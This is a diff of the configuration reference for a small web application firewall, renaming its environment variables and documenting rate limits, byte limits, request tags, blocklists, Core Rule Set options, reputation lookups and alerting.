chooses between the two (see "The image's command" below). between the two (see "The image's command" below).
## Forms of values ## Forms of values
@@ -28,278 +28,336 @@ chooses between the two (see "The image's command" below).
## Core ## Core
- `SWWAF_LISTEN_ADDR` (default `:8080`): where `servewaf` listens: `:` and a - `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
port, such as `:9000`. Leave the host out (see "Ports" in port, such as `:9000`. Leave the host out (see "Ports" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
- `SWWAF_INSTANCE_NAME` (default: the container's host name): the `instance` - `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
name in each line `servewaf` logs, and in each alert and metric, such as in each line `discriminator` logs, and in each alert and metric, such as
`fsn1/servewaf`. Valid UTF-8. No control character while `fsn1/discriminator`. Valid UTF-8. No control character while
`SWWAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a `SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
space while `SWWAF_LOG_REMOTE_URL` is set and `SWWAF_LOG_REMOTE_APP_NAME` is space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
not. - `SWW_MODE` (default `enforce`): `enforce` or `observe`.
- `SWWAF_MODE` (default `enforce`): `enforce` or `observe`. - `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 group, from 32 to 128.
client's group, from 32 to 128. - `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
number above zero. number above zero.
- `SWWAF_MAX_BANS` (default `5000`): how many of its own bans `servewaf` keeps, - `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
a whole number above zero. keeps, a whole number above zero.
## Tokens ## Tokens
- `SWWAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and - `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_smallwebwaf/clients/<ip>`. At least 32 characters. `/_sww/clients/<ip>`. At least 32 characters.
- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`. - `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
At least 32 characters. 32 characters.
## State files ## State files
- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state - `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
files, an absolute path that exists and can be written. absolute path that exists and can be written.
- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be - `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration. written after a ban is made, lifted or made permanent. A duration.
- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is - `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
written. A duration. written. A duration.
## Logging ## Logging
- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `servewaf`'s own - `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
messages that are written: `debug`, `info`, `warn` or `error`. messages that are written: `debug`, `info`, `warn` or `error`.
- `SWWAF_LOG_REQUEST_HEADERS` (default - `SWW_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the `accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`. `Transfer-Encoding` are refused; the host is the field `host`.
- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every - `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`, line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more. each with a host and a port and nothing more.
- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates - `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
that a `syslog+tls` server's certificate must chain to, instead of the host's a `syslog+tls` server's certificate must chain to, instead of the host's own.
own. A file that cannot be read, or holds no certificate, is refused. A file that cannot be read, or holds no certificate, is refused.
- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they - `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
wait to be sent, a whole number above zero. to be sent, a whole number above zero.
- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`, - `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`, `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`. `authpriv`, `ftp`, or `local0` to `local7`.
- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in - `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
each syslog record, 1 to 48 printable ASCII characters without a space. syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics ## Metrics
- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many - `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
countries get series of their own. A whole number above zero. get series of their own. A whole number above zero.
## Static lists ## Static lists
- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your - `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
monitoring (see step 3 in [`SPEC.md`](../SPEC.md)). (see step 4 in [`SPEC.md`](../SPEC.md)).
- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are - `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits. exempt from rate limiting and the byte limits.
- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see - `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
step 3 in [`SPEC.md`](../SPEC.md)). 4 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client ## Request rate limits, per client
- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a The request past one of these limits is refused, and the client is banned.
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
client may make in a minute. A count or `off`. The default leaves room for a client may make in a minute. A count or `off`. The default leaves room for a
person opening two gitea pages at once with an empty cache, up to 60 files person opening two pages at once with an empty cache, up to 60 files each.
each. - `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
- `SWWAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
make in an hour. A count or `off`. It is the main limit against scrapers. A make in an hour. A count or `off`. It is the main limit against scrapers. A
person reading code in gitea for an hour, a page every 20 seconds, makes person reading a site for an hour, a page every 20 seconds, makes about 900. A
about 900. A scraper making one request every 2 seconds makes 1,800 an hour, scraper making one request every 2 seconds makes 1,800 an hour, more than the
more than the limit.
- `SWWAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
make in a day. A count or `off`. The default is four hours at the hour limit.
A scraper making one request every 10 seconds makes 8,640 a day, more than the
limit. limit.
- An Actions runner asks gitea for work all day and can pass the limits. Put the - `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a in a day. A count or `off`. The default is four hours at the hour limit. A
scraper making one request every 10 seconds makes 8,640 a day, more than the
limit.
- A CI runner asks its code forge for work all day and can pass the limits. Put
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
network where many people share one address, such as an office. network where many people share one address, such as an office.
- Counting cannot catch a client that stays under all three limits (see "Request - Counting cannot catch a client that stays under all three limits (see "Request
rate limits, per client" in [`SPEC.md`](../SPEC.md)). rate limits, per client" in [`SPEC.md`](../SPEC.md)).
- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from - `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
rate limiting and the byte limits, such as `/assets/`. limiting and the byte limits, such as `/assets/`.
## Byte limits, per client ## Byte limits, per client
- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWWAF_BYTES_LIMIT_PER_HOUR` These count body bytes, never headers. What the visitor sent over a WebSocket
(default `50G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most counts as request bytes, and what the app sent as response bytes. The bytes
bytes counted for a client in each window. A size or `off`. counted for a request and its response are added to the client's total once the
- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count: response has ended. The request that takes a client's total past a limit is not
`response`, `request` or `both`. cut off; the client is banned.
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
which bytes count: response bodies, request bodies or both. The request that
passes the limit is not cut off, and the client is banned when its response
ends.
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
thresholds count: `response`, the app's response bodies; `request`, the
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
counts as request bytes, and what the app sent as response bytes.
## Lookup of AS number and country ## Lookup of AS number and country
- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops - `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
the start while a setting that needs a lookup is set: the start while a setting that needs a lookup is set:
- the two country lists; - `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWWAF_ADD_LOOKUP_HEADERS`; - `SWW_ADD_LOOKUP_HEADERS`;
- the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`; - `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
- `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`; `asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number. - an anomaly threshold per AS number.
- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its - `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
`.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`. `.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
- `SWWAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its - `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`. duration; never `off`.
- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app - `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
the client's AS number in `X-Client-ASN` and its country in the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`. `X-Client-Country`.
## Country lists ## Country list
- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused, - `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
such as `cn,ru,kp`. countries whose clients get through, such as `us,de`. A country whose
- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only `country=` tag is in `SWW_TAG_DENY` stops the start.
countries whose clients get through, such as `us,de`. A country on both lists
stops the start. ## Request tags
Every request gets tags from what `discriminator` knows of its client. See
"Request tags" in [`SPEC.md`](../SPEC.md).
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
or the CrowdSec decision list.
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused.
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
client's tags applies. A tag listed twice is refused. So is
`exploitsignature`: a request gets that tag after the rate limits have counted
it.
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
service that gives an address's announced netblock and origin AS.
`discriminator` asks it about each client, in the background, and adds the
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
unset, nothing asks routewatch and no request gets a `prefix=` tag.
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
that no request can get stops the start. A request can get only these:
- a name in `SWW_TAG_LISTS`;
- an `asn=` or `country=` tag;
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
`off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first.
## Biased thresholds ## Biased thresholds
- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:` - `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number percentage of the byte limits alone, for the AS numbers or countries listed,
listed twice is refused. such as `AS14061:50` or `cn:25`. It takes the place of the percentage
- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as `SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
`cn:25,ru:50`. country listed twice is refused.
- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty): - `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
the same, for the byte limits alone.
- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
lookup cannot place. lookup cannot place.
- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a - `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
text file with one AS number and percentage on each line, such as text file with one AS number and percentage on each line, such as
`AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused. `AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
## Attack detection ## Attack detection
- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the - `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
rule files. - `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file. - `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`. `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`. - `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level, - `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
from 1 to 4. from 1 to 4.
- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a - `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
match. A whole number above zero, or `off`. match. A whole number above zero, or `off`.
- `SWWAF_WAF_DISABLED_RULES` (default - `SWW_WAF_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own. `smallwebwaf`'s own.
- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does - `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
not inspect. not inspect.
- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body - `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
the Core Rule Set reads, a size of at most `64K`. A question carries no more Core Rule Set reads, a size of at most `64K`. A question carries no more of a
of a body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)). it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
- `SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
exclusions, written as Coraza directives. It is loaded before the Core Rule exclusions, written as Coraza directives. It is loaded before the Core Rule
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
read or does not parse stops the start, whatever `SWWAF_WAF_MODE` is. So does read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
a file that names a number from 900000 to 900999 outside a comment, alone or file that names a number from 900000 to 900999 outside a comment, alone or in
in a range. It has no `_FILE` form. a range. So does a directive that removes or changes rules as the file loads,
- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
in a minute (see "Attack detection" in `SPEC.md`). A count or `off`. yet. It has no `_FILE` form.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
## Ban lengths, response and scope ## Ban lengths, response and scope
- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`. - `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A - `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
duration. duration.
- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends - `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration. within which breaking a limit again lengthens the next ban. A duration.
- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; - `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
one that would be longer is permanent. A duration. that would be longer is permanent. A duration.
- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of - `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
attack. A duration. attack. A duration.
- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client - `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32. covers: the prefix length of its netblock, from 0 to 32.
## Reputation ## Reputation
- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as - `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL `https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused. without a user or a fragment. A URL listed twice is refused.
- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its - `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
last try before it is fetched again. A duration of `1h` or more. try before it is fetched again. A duration of `1h` or more.
- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`. - `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as - `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus `dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key. is refused, whatever its case or key.
- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through, - `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
port, 53 when none is given. Unset, the host's resolver is used. port, 53 when none is given. Unset, the host's resolver is used.
- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A - `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused. control character in it is refused.
- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score, - `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
from 0 to 100, that is a hit. from 0 to 100, that is a hit.
- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, - `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
a whole number above zero. AbuseIPDB's free accounts may make 1,000. whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine - `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
user or a fragment; its decision list is at `v1/decisions` under it. Set user or a fragment; its decision list is at `v1/decisions` under it. Set
without the key, it is refused. So is a decision list URL that is also in without the key, it is refused. So is a decision list URL that is also in
`SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`. `SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for - `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused. URL, it is refused.
- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or - `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits. `log`, for DNS blocklist and AbuseIPDB hits.
- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or - `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration. AbuseIPDB's score is used. A duration.
- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a - `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
check with AbuseIPDB may take. A duration. with AbuseIPDB may take. A duration.
## Alerting ## Alerting
- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each - `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
alert as a JSON object. An `http` or `https` URL without a user or a fragment. as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, - `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
value. A value cannot hold a comma. value cannot hold a comma.
- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook - `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
that receives each alert as a message, checked as the webhook URL is. receives each alert as a message, checked as the webhook URL is.
- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each - `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
as the webhook URL is. webhook URL is.
- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control - `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused. character in it is refused.
- `SWWAF_ALERT_EVENTS` (default - `SWW_ALERT_EVENTS` (default
`ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md) the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused. but `summary`. Any other name is refused.
- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its - `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`. repeats are held back. A duration or `off`.
- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A - `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
whole number above zero, or `off`. whole number above zero, or `off`.
## Anomaly thresholds ## Anomaly thresholds
Each scope has four thresholds: the most requests and the most bytes counted in Each scope has four thresholds: the most requests and the most body bytes
a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
default. The four thresholds per client are: Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are:
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`; - `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`; - `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`; - `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`. - `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`: as `REQUESTS_PER_MINUTE`:
- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the - `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length: netblock's length:
- `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4 - `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client; client;
- `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6 - `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client. client.
- `SWWAF_ANOMALY_ASN_...`: per AS number. - `SWW_ANOMALY_ASN_...`: per AS number.
- `SWWAF_ANOMALY_TOTAL_...`: the whole service. - `SWW_ANOMALY_TOTAL_...`: the whole service.
- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole. - `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
`SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such `SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice. name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files ## Settings given as files
@@ -318,9 +376,9 @@ Then mount its directory into the container read-only, and name the file:
```sh ```sh
docker run \ docker run \
-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \ -v /srv/app/tokens:/etc/sww/tokens:ro \
-e SMALLWEBWAF_COMMAND=servewaf \ -e SWW_COMMAND=discriminator \
